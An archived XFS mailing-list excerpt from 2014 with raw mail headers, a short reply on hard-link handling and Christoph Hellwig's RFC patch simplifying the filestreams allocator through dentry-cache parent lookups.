xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 616EB7F3F for ; Tue, 11 Mar 2014 11:48:25 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 56DE88F807A for ; Tue, 11 Mar 2014 09:48:22 -0700 (PDT) X-ASG-Debug-ID: 1394556499-04cb6c567645a370001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id WyL0D1yb6wrx3YwT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 11 Mar 2014 09:48:20 -0700 (PDT) X-Barracuda-Envelope-From: BATV+cf6728afac61ef48644d+3852+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WNPqi-00045r-1K; Tue, 11 Mar 2014 16:48:16 +0000 Date: Tue, 11 Mar 2014 09:48:16 -0700 From: Christoph Hellwig To: Dave Chinner Cc: "Michael L. Semon" , xfs-oss Subject: Re: Multi-CPU harmless lockdep on x86 while copying data Message-ID: <20140311164816.GA15676@infradead.org> X-ASG-Orig-Subj: Re: Multi-CPU harmless lockdep on x86 while copying data References: <531BD8B9.1090400@gmail.com> <20140310025523.GV6851@dastard> <20140310103716.GA1431@infradead.org> <20140310111253.GA4801@infradead.org> <20140310205118.GX6851@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140310205118.GX6851@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394556500 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3791 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Mar 11, 2014 at 07:51:18AM +1100, Dave Chinner wrote: > Yeah, b) seems like the way to simplify it - the filestreams code > really only needs to track the parent/ag relationship rather than > the child/parent relationship if there is a reliable way of > determining the parent from the child. > > What do we do with hardlinked files in this case? I'm happy to say > "too bad" for these files mainly because the filestream allocator is > aimed at associating multiple file creations together, so hard links > really don't matter AFAICT... We could flatly refuse filesystems for files with i_nlink > 1, or just grab the first parent we get at. Refusing seems like the better alternative to me. From BATV+cf6728afac61ef48644d+3852+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 11 15:48:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6190C7F3F for ; Tue, 11 Mar 2014 15:48:15 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 25066304039 for ; Tue, 11 Mar 2014 13:48:11 -0700 (PDT) X-ASG-Debug-ID: 1394570888-04bdf05dab496e70001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id nbkJJ98ZAJQPxtnC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 11 Mar 2014 13:48:08 -0700 (PDT) X-Barracuda-Envelope-From: BATV+cf6728afac61ef48644d+3852+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WNTaq-0003cL-2k for xfs@oss.sgi.com; Tue, 11 Mar 2014 20:48:08 +0000 Date: Tue, 11 Mar 2014 13:48:08 -0700 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH, RFC] xfs: simplify filestreams by taking advantake of the dentry cache Message-ID: <20140311204808.GA13875@infradead.org> X-ASG-Orig-Subj: [PATCH, RFC] xfs: simplify filestreams by taking advantake of the dentry cache MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1394570888 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3797 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 In Linux we will always be able to find a parent for a file that is currently active for I/O. Take care of this fact by using the dcache for doing parent lookups. While the dcache has lots of hot locks and cache lines I suspect this is still better than filling the mru cache with items for all active files that have filestreams. If however hitting the dcache hard in this path causes problems with might have to use a different strategy here. diff --git a/fs/xfs/xfs_filestream.c b/fs/xfs/xfs_filestream.c index 12b6e77..2ffb10a 100644 --- a/fs/xfs/xfs_filestream.c +++ b/fs/xfs/xfs_filestream.c @@ -32,100 +32,27 @@ #include "xfs_filestream.h" #include "xfs_trace.h" -#ifdef XFS_FILESTREAMS_TRACE - -ktrace_t *xfs_filestreams_trace_buf; - -STATIC void -xfs_filestreams_trace( - xfs_mount_t *mp, /* mount point */ - int type, /* type of trace */ - const char *func, /* source function */ - int line, /* source line number */ - __psunsigned_t arg0, - __psunsigned_t arg1, - __psunsigned_t arg2, - __psunsigned_t arg3, - __psunsigned_t arg4, - __psunsigned_t arg5) -{ - ktrace_enter(xfs_filestreams_trace_buf, - (void *)(__psint_t)(type | (line << 16)), - (void *)func, - (void *)(__psunsigned_t)current_pid(), - (void *)mp, - (void *)(__psunsigned_t)arg0, - (void *)(__psunsigned_t)arg1, - (void *)(__psunsigned_t)arg2, - (void *)(__psunsigned_t)arg3, - (void *)(__psunsigned_t)arg4, - (void *)(__psunsigned_t)arg5, - NULL, NULL, NULL, NULL, NULL, NULL); -} - -#define TRACE0(mp,t) TRACE6(mp,t,0,0,0,0,0,0) -#define TRACE1(mp,t,a0) TRACE6(mp,t,a0,0,0,0,0,0) -#define TRACE2(mp,t,a0,a1) TRACE6(mp,t,a0,a1,0,0,0,0) -#define TRACE3(mp,t,a0,a1,a2) TRACE6(mp,t,a0,a1,a2,0,0,0) -#define TRACE4(mp,t,a0,a1,a2,a3) TRACE6(mp,t,a0,a1,a2,a3,0,0) -#define TRACE5(mp,t,a0,a1,a2,a3,a4) TRACE6(mp,t,a0,a1,a2,a3,a4,0) -#define TRACE6(mp,t,a0,a1,a2,a3,a4,a5) \ - xfs_filestreams_trace(mp, t, __func__, __LINE__, \ - (__psunsigned_t)a0, (__psunsigned_t)a1, \ - (__psunsigned_t)a2, (__psunsigned_t)a3, \ - (__psunsigned_t)a4, (__psunsigned_t)a5) - -#define TRACE_AG_SCAN(mp, ag, ag2) \ - TRACE2(mp, XFS_FSTRM_KTRACE_AGSCAN, ag, ag2); -#define TRACE_AG_PICK1(mp, max_ag, maxfree) \ - TRACE2(mp, XFS_FSTRM_KTRACE_AGPICK1, max_ag, maxfree); -#define TRACE_AG_PICK2(mp, ag, ag2, cnt, free, scan, flag) \ - TRACE6(mp, XFS_FSTRM_KTRACE_AGPICK2, ag, ag2, \ - cnt, free, scan, flag) -#define TRACE_UPDATE(mp, ip, ag, cnt, ag2, cnt2) \ - TRACE5(mp, XFS_FSTRM_KTRACE_UPDATE, ip, ag, cnt, ag2, cnt2) -#define TRACE_FREE(mp, ip, pip, ag, cnt) \ - TRACE4(mp, XFS_FSTRM_KTRACE_FREE, ip, pip, ag, cnt) -#define TRACE_LOOKUP(mp, ip, pip, ag, cnt) \ - TRACE4(mp, XFS_FSTRM_KTRACE_ITEM_LOOKUP, ip, pip, ag, cnt) -#define TRACE_ASSOCIATE(mp, ip, pip, ag, cnt) \ - TRACE4(mp, XFS_FSTRM_KTRACE_ASSOCIATE, ip, pip, ag, cnt) -#define TRACE_MOVEAG(mp, ip, pip, oag, ocnt, nag, ncnt) \ - TRACE6(mp, XFS_FSTRM_KTRACE_MOVEAG, ip, pip, oag, ocnt, nag, ncnt) -#define TRACE_ORPHAN(mp, ip, ag) \ - TRACE2(mp, XFS_FSTRM_KTRACE_ORPHAN, ip, ag); - - -#else #define TRACE_AG_SCAN(mp, ag, ag2) #define TRACE_AG_PICK1(mp, max_ag, maxfree) #define TRACE_AG_PICK2(mp, ag, ag2, cnt, free, scan, flag) -#define TRACE_UPDATE(mp, ip, ag, cnt, ag2, cnt2) #define TRACE_FREE(mp, ip, pip, ag, cnt) #define TRACE_LOOKUP(mp, ip, pip, ag, cnt) -#define TRACE_ASSOCIATE(mp, ip, pip, ag, cnt) -#define TRACE_MOVEAG(mp, ip, pip, oag, ocnt, nag, ncnt) -#define TRACE_ORPHAN(mp, ip, ag) -#endif static kmem_zone_t *item_zone; -/* - * Structure for associating a file or a directory with an allocation group. - * The parent directory pointer is only needed for files, but since there will - * generally be vastly more files than directories in the cache, using the same - * data structure simplifies the code with very little memory overhead. - */ -typedef struct fstrm_item -{ - xfs_agnumber_t ag; /* AG currently in use for the file/directory. */ - xfs_inode_t *ip; /* inode self-pointer. */ - xfs_inode_t *pip; /* Parent directory inode pointer. */ -} fstrm_item_t; +struct xfs_fstrm_item { + struct xfs_mount *mp; + xfs_agnumber_t ag; /* AG in use for this directory */ +}; + +enum xfs_fstrm_alloc { + XFS_PICK_USERDATA = 1, + XFS_PICK_LOWSPACE = 2, +}; /* * Allocation group filestream associations are tracked with per-ag atomic - * counters. These counters allow _xfs_filestream_pick_ag() to tell whether a + * counters. These counters allow xfs_filestream_pick_ag() to tell whether a * particular AG already has active filestreams associated with it. The mount * point's m_peraglock is used to protect these counters from per-ag array * re-allocation during a growfs operation. When xfs_growfs_data_private() is @@ -200,23 +127,44 @@ xfs_filestream_put_ag( xfs_perag_put(pag); } +static void +xfs_fstrm_free_func( + unsigned long key, + void *data) +{ + struct xfs_fstrm_item *item = data; + struct xfs_mount *mp = item->mp; + + /* Drop the reference taken on the AG when the item was added. */ + xfs_filestream_put_ag(mp, item->ag); + + TRACE_FREE(mp, ip, NULL, item->ag, + xfs_filestream_peek_ag(mp, item->ag)); + + kmem_zone_free(item_zone, item); +} + /* * Scan the AGs starting at startag looking for an AG that isn't in use and has * at least minlen blocks free. */ static int -_xfs_filestream_pick_ag( - xfs_mount_t *mp, - xfs_agnumber_t startag, - xfs_agnumber_t *agp, - int flags, - xfs_extlen_t minlen) +xfs_filestream_pick_ag( + struct xfs_inode *ip, + xfs_agnumber_t startag, + xfs_agnumber_t *agp, + int flags, + xfs_extlen_t minlen) { - int streams, max_streams; - int err, trylock, nscan; - xfs_extlen_t longest, free, minfree, maxfree = 0; - xfs_agnumber_t ag, max_ag = NULLAGNUMBER; - struct xfs_perag *pag; + struct xfs_mount *mp = ip->i_mount; + struct xfs_fstrm_item *item; + struct xfs_perag *pag; + xfs_extlen_t longest, free, minfree, maxfree = 0; + xfs_agnumber_t ag, max_ag = NULLAGNUMBER; + int streams, max_streams; + int err, trylock, nscan; + + ASSERT(S_ISDIR(ip->i_d.di_mode)); /* 2% of an AG's blocks must be free for it to be chosen. */ minfree = mp->m_sb.sb_agblocks / 50; @@ -320,208 +268,55 @@ next_ag: TRACE_AG_PICK2(mp, startag, *agp, streams, free, nscan, flags); - return 0; -} - -/* - * Set the allocation group number for a file or a directory, updating inode - * references and per-AG references as appropriate. - */ -static int -_xfs_filestream_update_ag( - xfs_inode_t *ip, - xfs_inode_t *pip, - xfs_agnumber_t ag) -{ - int err = 0; - xfs_mount_t *mp; - xfs_mru_cache_t *cache; - fstrm_item_t *item; - xfs_agnumber_t old_ag; - xfs_inode_t *old_pip; - - /* - * Either ip is a regular file and pip is a directory, or ip is a - * directory and pip is NULL. - */ - ASSERT(ip && ((S_ISREG(ip->i_d.di_mode) && pip && - S_ISDIR(pip->i_d.di_mode)) || - (S_ISDIR(ip->i_d.di_mode) && !pip))); - - mp = ip->i_mount; - cache = mp->m_filestream; - - item = xfs_mru_cache_lookup(cache, ip->i_ino); - if (item) { - ASSERT(item->ip == ip); - old_ag = item->ag; - item->ag = ag; - old_pip = item->pip; - item->pip = pip; - xfs_mru_cache_done(cache); - - /* - * If the AG has changed, drop the old ref and take a new one, - * effectively transferring the reference from old to new AG. - */ - if (ag != old_ag) { - xfs_filestream_put_ag(mp, old_ag); - xfs_filestream_get_ag(mp, ag); - } - - /* - * If ip is a file and its pip has changed, drop the old ref and - * take a new one. - */ - if (pip && pip != old_pip) { - IRELE(old_pip); - IHOLD(pip); - } - - TRACE_UPDATE(mp, ip, old_ag, xfs_filestream_peek_ag(mp, old_ag), - ag, xfs_filestream_peek_ag(mp, ag)); + if (*agp == NULLAGNUMBER) return 0; - } + err = ENOMEM; item = kmem_zone_zalloc(item_zone, KM_MAYFAIL); if (!item) - return ENOMEM; + goto out_put_ag; - item->ag = ag; - item->ip = ip; - item->pip = pip; + item->ag = *agp; + item->mp = mp; - err = xfs_mru_cache_insert(cache, ip->i_ino, item); + err = xfs_mru_cache_insert(mp->m_filestream, ip->i_ino, item); if (err) { - kmem_zone_free(item_zone, item); - return err; + if (err == EEXIST) + err = 0; + goto out_free_item; } - /* Take a reference on the AG. */ - xfs_filestream_get_ag(mp, ag); - - /* - * Take a reference on the inode itself regardless of whether it's a - * regular file or a directory. - */ - IHOLD(ip); - - /* - * In the case of a regular file, take a reference on the parent inode - * as well to ensure it remains in-core. - */ - if (pip) - IHOLD(pip); - - TRACE_UPDATE(mp, ip, ag, xfs_filestream_peek_ag(mp, ag), - ag, xfs_filestream_peek_ag(mp, ag)); - return 0; -} - -/* xfs_fstrm_free_func(): callback for freeing cached stream items. */ -STATIC void -xfs_fstrm_free_func( - unsigned long ino, - void *data) -{ - fstrm_item_t *item = (fstrm_item_t *)data; - xfs_inode_t *ip = item->ip; - - ASSERT(ip->i_ino == ino); - xfs_iflags_clear(ip, XFS_IFILESTREAM); - - /* Drop the reference taken on the AG when the item was added. */ - xfs_filestream_put_ag(ip->i_mount, item->ag); - - TRACE_FREE(ip->i_mount, ip, item->pip, item->ag, - xfs_filestream_peek_ag(ip->i_mount, item->ag)); - - /* - * _xfs_filestream_update_ag() always takes a reference on the inode - * itself, whether it's a file or a directory. Release it here. - * This can result in the inode being freed and so we must - * not hold any inode locks when freeing filesstreams objects - * otherwise we can deadlock here. - */ - IRELE(ip); - - /* - * In the case of a regular file, _xfs_filestream_update_ag() also - * takes a ref on the parent inode to keep it in-core. Release that - * too. - */ - if (item->pip) - IRELE(item->pip); - - /* Finally, free the memory allocated for the item. */ +out_free_item: kmem_zone_free(item_zone, item); +out_put_ag: + xfs_filestream_put_ag(mp, *agp); + return err; } -/* - * xfs_filestream_init() is called at xfs initialisation time to set up the - * memory zone that will be used for filestream data structure allocation. - */ -int -xfs_filestream_init(void) -{ - item_zone = kmem_zone_init(sizeof(fstrm_item_t), "fstrm_item"); - if (!item_zone) - return -ENOMEM; - - return 0; -} - -/* - * xfs_filestream_uninit() is called at xfs termination time to destroy the - * memory zone that was used for filestream data structure allocation. - */ -void -xfs_filestream_uninit(void) +static struct xfs_inode * +xfs_filestreams_get_parent( + struct xfs_inode *ip) { - kmem_zone_destroy(item_zone); -} + struct inode *inode = VFS_I(ip), *dir = NULL; + struct dentry *dentry, *parent; -/* - * xfs_filestream_mount() is called when a file system is mounted with the - * filestream option. It is responsible for allocating the data structures - * needed to track the new file system's file streams. - */ -int -xfs_filestream_mount( - xfs_mount_t *mp) -{ - int err; - unsigned int lifetime, grp_count; + dentry = d_find_alias(inode); + if (!dentry) + goto out; - /* - * The filestream timer tunable is currently fixed within the range of - * one second to four minutes, with five seconds being the default. The - * group count is somewhat arbitrary, but it'd be nice to adhere to the - * timer tunable to within about 10 percent. This requires at least 10 - * groups. - */ - lifetime = xfs_fstrm_centisecs * 10; - grp_count = 10; + parent = dget_parent(dentry); + if (!parent) + goto out_dput; - err = xfs_mru_cache_create(&mp->m_filestream, lifetime, grp_count, - xfs_fstrm_free_func); + dir = igrab(parent->d_inode); + dput(parent); - return err; -} - -/* - * xfs_filestream_unmount() is called when a file system that was mounted with - * the filestream option is unmounted. It drains the data structures created - * to track the file system's file streams and frees all the memory that was - * allocated. - */ -void -xfs_filestream_unmount( - xfs_mount_t *mp) -{ - xfs_mru_cache_destroy(mp->m_filestream); +out_dput: + dput(dentry); +out: + return dir ? XFS_I(dir) : NULL; } /* @@ -530,92 +325,58 @@ xfs_filestream_unmount( */ xfs_agnumber_t xfs_filestream_lookup_ag( - xfs_inode_t *ip) + struct xfs_inode *ip) { - xfs_mru_cache_t *cache; - fstrm_item_t *item; - xfs_agnumber_t ag; - int ref; - - if (!S_ISREG(ip->i_d.di_mode) && !S_ISDIR(ip->i_d.di_mode)) { - ASSERT(0); - return NULLAGNUMBER; - } + struct xfs_mount *mp = ip->i_mount; + struct xfs_fstrm_item *item; + struct xfs_inode *pip = NULL; + xfs_agnumber_t ag = NULLAGNUMBER; + int ref = 0; - cache = ip->i_mount->m_filestream; - item = xfs_mru_cache_lookup(cache, ip->i_ino); - if (!item) { - TRACE_LOOKUP(ip->i_mount, ip, NULL, NULLAGNUMBER, 0); - return NULLAGNUMBER; - } + ASSERT(S_ISREG(ip->i_d.di_mode)); + + pip = xfs_filestreams_get_parent(ip); + if (!pip) + goto out; + + item = xfs_mru_cache_lookup(mp->m_filestream, pip->i_ino); + if (!item) + goto out; - ASSERT(ip == item->ip); ag = item->ag; - ref = xfs_filestream_peek_ag(ip->i_mount, ag); - xfs_mru_cache_done(cache); + xfs_mru_cache_done(mp->m_filestream); - TRACE_LOOKUP(ip->i_mount, ip, item->pip, ag, ref); + ref = xfs_filestream_peek_ag(ip->i_mount, ag); +out: + TRACE_LOOKUP(mp, ip, pip, ag, ref); + IRELE(pip); return ag; } /* - * xfs_filestream_associate() should only be called to associate a regular file - * with its parent directory. Calling it with a child directory isn't - * appropriate because filestreams don't apply to entire directory hierarchies. - * Creating a file in a child directory of an existing filestream directory - * starts a new filestream with its own allocation group association. + * Make sure a directory has a filestream associated with it. * - * Returns < 0 on error, 0 if successful association occurred, > 0 if - * we failed to get an association because of locking issues. + * This is called when creating regular files in an directory that has + * filestreams enabled, so that a stream is ready by the time we need it + * in the allocator for the files inside the directory. */ int xfs_filestream_associate( - xfs_inode_t *pip, - xfs_inode_t *ip) + struct xfs_inode *pip) { - xfs_mount_t *mp; - xfs_mru_cache_t *cache; - fstrm_item_t *item; - xfs_agnumber_t ag, rotorstep, startag; - int err = 0; + struct xfs_mount *mp = pip->i_mount; + struct xfs_fstrm_item *item; + xfs_agnumber_t startag, ag; ASSERT(S_ISDIR(pip->i_d.di_mode)); - ASSERT(S_ISREG(ip->i_d.di_mode)); - if (!S_ISDIR(pip->i_d.di_mode) || !S_ISREG(ip->i_d.di_mode)) - return -EINVAL; - - mp = pip->i_mount; - cache = mp->m_filestream; /* - * We have a problem, Houston. - * - * Taking the iolock here violates inode locking order - we already - * hold the ilock. Hence if we block getting this lock we may never - * wake. Unfortunately, that means if we can't get the lock, we're - * screwed in terms of getting a stream association - we can't spin - * waiting for the lock because someone else is waiting on the lock we - * hold and we cannot drop that as we are in a transaction here. - * - * Lucky for us, this inversion is not a problem because it's a - * directory inode that we are trying to lock here. - * - * So, if we can't get the iolock without sleeping then just give up + * If the directory already has a file stream associated we're done. */ - if (!xfs_ilock_nowait(pip, XFS_IOLOCK_EXCL)) - return 1; - - /* If the parent directory is already in the cache, use its AG. */ - item = xfs_mru_cache_lookup(cache, pip->i_ino); + item = xfs_mru_cache_lookup(mp->m_filestream, pip->i_ino); if (item) { - ASSERT(item->ip == pip); - ag = item->ag; - xfs_mru_cache_done(cache); - - TRACE_LOOKUP(mp, pip, pip, ag, xfs_filestream_peek_ag(mp, ag)); - err = _xfs_filestream_update_ag(ip, pip, ag); - - goto exit; + xfs_mru_cache_done(mp->m_filestream); + return 0; } /* @@ -623,202 +384,97 @@ xfs_filestream_associate( * use the directory inode's AG. */ if (mp->m_flags & XFS_MOUNT_32BITINODES) { - rotorstep = xfs_rotorstep; + xfs_agnumber_t rotorstep = xfs_rotorstep; startag = (mp->m_agfrotor / rotorstep) % mp->m_sb.sb_agcount; mp->m_agfrotor = (mp->m_agfrotor + 1) % (mp->m_sb.sb_agcount * rotorstep); } else startag = XFS_INO_TO_AGNO(mp, pip->i_ino); - /* Pick a new AG for the parent inode starting at startag. */ - err = _xfs_filestream_pick_ag(mp, startag, &ag, 0, 0); - if (err || ag == NULLAGNUMBER) - goto exit_did_pick; - - /* Associate the parent inode with the AG. */ - err = _xfs_filestream_update_ag(pip, NULL, ag); - if (err) - goto exit_did_pick; - - /* Associate the file inode with the AG. */ - err = _xfs_filestream_update_ag(ip, pip, ag); - if (err) - goto exit_did_pick; - - TRACE_ASSOCIATE(mp, ip, pip, ag, xfs_filestream_peek_ag(mp, ag)); - -exit_did_pick: - /* - * If _xfs_filestream_pick_ag() returned a valid AG, remove the - * reference it took on it, since the file and directory will have taken - * their own now if they were successfully cached. - */ - if (ag != NULLAGNUMBER) - xfs_filestream_put_ag(mp, ag); - -exit: - xfs_iunlock(pip, XFS_IOLOCK_EXCL); - return -err; + return xfs_filestream_pick_ag(pip, startag, &ag, 0, 0); } /* - * Pick a new allocation group for the current file and its file stream. This - * function is called by xfs_bmap_filestreams() with the mount point's per-ag - * lock held. + * Pick a new allocation group for the current file and its file stream. + * + * This is called when the allocator can't find a suitable extent in the + * current AG, and we have to move the stream into a new AG with more space. */ int xfs_filestream_new_ag( struct xfs_bmalloca *ap, xfs_agnumber_t *agp) { - int flags, err; - xfs_inode_t *ip, *pip = NULL; - xfs_mount_t *mp; - xfs_mru_cache_t *cache; - xfs_extlen_t minlen; - fstrm_item_t *dir, *file; - xfs_agnumber_t ag = NULLAGNUMBER; - - ip = ap->ip; - mp = ip->i_mount; - cache = mp->m_filestream; - minlen = ap->length; - *agp = NULLAGNUMBER; - - /* - * Look for the file in the cache, removing it if it's found. Doing - * this allows it to be held across the dir lookup that follows. - */ - file = xfs_mru_cache_remove(cache, ip->i_ino); - if (file) { - ASSERT(ip == file->ip); - - /* Save the file's parent inode and old AG number for later. */ - pip = file->pip; - ag = file->ag; - - /* Look for the file's directory in the cache. */ - dir = xfs_mru_cache_lookup(cache, pip->i_ino); - if (dir) { - ASSERT(pip == dir->ip); - - /* - * If the directory has already moved on to a new AG, - * use that AG as the new AG for the file. Don't - * forget to twiddle the AG refcounts to match the - * movement. - */ - if (dir->ag != file->ag) { - xfs_filestream_put_ag(mp, file->ag); - xfs_filestream_get_ag(mp, dir->ag); - *agp = file->ag = dir->ag; - } - - xfs_mru_cache_done(cache); - } + struct xfs_inode *ip = ap->ip, *pip; + struct xfs_mount *mp = ip->i_mount; + xfs_extlen_t minlen = ap->length; + struct xfs_fstrm_item *item; + xfs_agnumber_t startag = 0; + int flags, err = 0; - /* - * Put the file back in the cache. If this fails, the free - * function needs to be called to tidy up in the same way as if - * the item had simply expired from the cache. - */ - err = xfs_mru_cache_insert(cache, ip->i_ino, file); - if (err) { - xfs_fstrm_free_func(ip->i_ino, file); - return err; - } + *agp = NULLAGNUMBER; - /* - * If the file's AG was moved to the directory's new AG, there's - * nothing more to be done. - */ - if (*agp != NULLAGNUMBER) { - TRACE_MOVEAG(mp, ip, pip, - ag, xfs_filestream_peek_ag(mp, ag), - *agp, xfs_filestream_peek_ag(mp, *agp)); - return 0; - } - } + pip = xfs_filestreams_get_parent(ip); + if (!pip) + goto exit; - /* - * If the file's parent directory is known, take its iolock in exclusive - * mode to prevent two sibling files from racing each other to migrate - * themselves and their parent to different AGs. - * - * Note that we lock the parent directory iolock inside the child - * iolock here. That's fine as we never hold both parent and child - * iolock in any other place. This is different from the ilock, - * which requires locking of the child after the parent for namespace - * operations. - */ - if (pip) - xfs_ilock(pip, XFS_IOLOCK_EXCL | XFS_IOLOCK_PARENT); + item = xfs_mru_cache_remove(mp->m_filestream, pip->i_ino); + if (item) + startag = (item->ag + 1) % mp->m_sb.sb_agcount; - /* - * A new AG needs to be found for the file. If the file's parent - * directory is also known, it will be moved to the new AG as well to - * ensure that files created inside it in future use the new AG. - */ - ag = (ag == NULLAGNUMBER) ? 0 : (ag + 1) % mp->m_sb.sb_agcount; flags = (ap->userdata ? XFS_PICK_USERDATA : 0) | (ap->flist->xbf_low ? XFS_PICK_LOWSPACE : 0); - err = _xfs_filestream_pick_ag(mp, ag, agp, flags, minlen); - if (err || *agp == NULLAGNUMBER) - goto exit; - + err = xfs_filestream_pick_ag(pip, startag, agp, flags, minlen); + /* - * If the file wasn't found in the file cache, then its parent directory - * inode isn't known. For this to have happened, the file must either - * be pre-existing, or it was created long enough ago that its cache - * entry has expired. This isn't the sort of usage that the filestreams - * allocator is trying to optimise, so there's no point trying to track - * its new AG somehow in the filestream data structures. + * Only free the item here so we skip over the old AG earlier. */ - if (!pip) { - TRACE_ORPHAN(mp, ip, *agp); - goto exit; - } - - /* Associate the parent inode with the AG. */ - err = _xfs_filestream_update_ag(pip, NULL, *agp); - if (err) - goto exit; - - /* Associate the file inode with the AG. */ - err = _xfs_filestream_update_ag(ip, pip, *agp); - if (err) - goto exit; - - TRACE_MOVEAG(mp, ip, pip, NULLAGNUMBER, 0, - *agp, xfs_filestream_peek_ag(mp, *agp)); + if (item) + xfs_fstrm_free_func(pip->i_ino, item); + IRELE(pip); exit: + if (*agp == NULLAGNUMBER) + *agp = 0; + return err; +} + +int +xfs_filestream_mount( + xfs_mount_t *mp) +{ /* - * If _xfs_filestream_pick_ag() returned a valid AG, remove the - * reference it took on it, since the file and directory will have taken - * their own now if they were successfully cached. + * The filestream timer tunable is currently fixed within the range of + * one second to four minutes, with five seconds being the default. The + * group count is somewhat arbitrary, but it'd be nice to adhere to the + * timer tunable to within about 10 percent. This requires at least 10 + * groups. */ - if (*agp != NULLAGNUMBER) - xfs_filestream_put_ag(mp, *agp); - else - *agp = 0; + return xfs_mru_cache_create(&mp->m_filestream, xfs_fstrm_centisecs * 10, + 10, xfs_fstrm_free_func); +} - if (pip) - xfs_iunlock(pip, XFS_IOLOCK_EXCL); +void +xfs_filestream_unmount( + xfs_mount_t *mp) +{ + xfs_mru_cache_destroy(mp->m_filestream); +} - return err; + +/* needs to return a positive errno for the init path */ +int +xfs_filestream_init(void) +{ + item_zone = kmem_zone_init(sizeof(struct xfs_fstrm_item), "fstrm_item"); + if (!item_zone) + return -ENOMEM; + return 0; } -/* - * Remove an association between an inode and a filestream object. - * Typically this is done on last close of an unlinked file. - */ void -xfs_filestream_deassociate( - xfs_inode_t *ip) +xfs_filestream_uninit(void) { - xfs_mru_cache_t *cache = ip->i_mount->m_filestream; - - xfs_mru_cache_delete(cache, ip->i_ino); + kmem_zone_destroy(item_zone); } diff --git a/fs/xfs/xfs_filestream.h b/fs/xfs/xfs_filestream.h index 6d61dbe..215ab6ad 100644 --- a/fs/xfs/xfs_filestream.h +++ b/fs/xfs/xfs_filestream.h @@ -20,50 +20,21 @@ struct xfs_mount; struct xfs_inode; -struct xfs_perag; struct xfs_bmalloca; -#ifdef XFS_FILESTREAMS_TRACE -#define XFS_FSTRM_KTRACE_INFO 1 -#define XFS_FSTRM_KTRACE_AGSCAN 2 -#define XFS_FSTRM_KTRACE_AGPICK1 3 -#define XFS_FSTRM_KTRACE_AGPICK2 4 -#define XFS_FSTRM_KTRACE_UPDATE 5 -#define XFS_FSTRM_KTRACE_FREE 6 -#define XFS_FSTRM_KTRACE_ITEM_LOOKUP 7 -#define XFS_FSTRM_KTRACE_ASSOCIATE 8 -#define XFS_FSTRM_KTRACE_MOVEAG 9 -#define XFS_FSTRM_KTRACE_ORPHAN 10 - -#define XFS_FSTRM_KTRACE_SIZE 16384 -extern ktrace_t *xfs_filestreams_trace_buf; - -#endif - -/* allocation selection flags */ -typedef enum xfs_fstrm_alloc { - XFS_PICK_USERDATA = 1, - XFS_PICK_LOWSPACE = 2, -} xfs_fstrm_alloc_t; - -/* prototypes for filestream.c */ int xfs_filestream_init(void); void xfs_filestream_uninit(void); int xfs_filestream_mount(struct xfs_mount *mp); void xfs_filestream_unmount(struct xfs_mount *mp); xfs_agnumber_t xfs_filestream_lookup_ag(struct xfs_inode *ip); -int xfs_filestream_associate(struct xfs_inode *dip, struct xfs_inode *ip); -void xfs_filestream_deassociate(struct xfs_inode *ip); +int xfs_filestream_associate(struct xfs_inode *dip); int xfs_filestream_new_ag(struct xfs_bmalloca *ap, xfs_agnumber_t 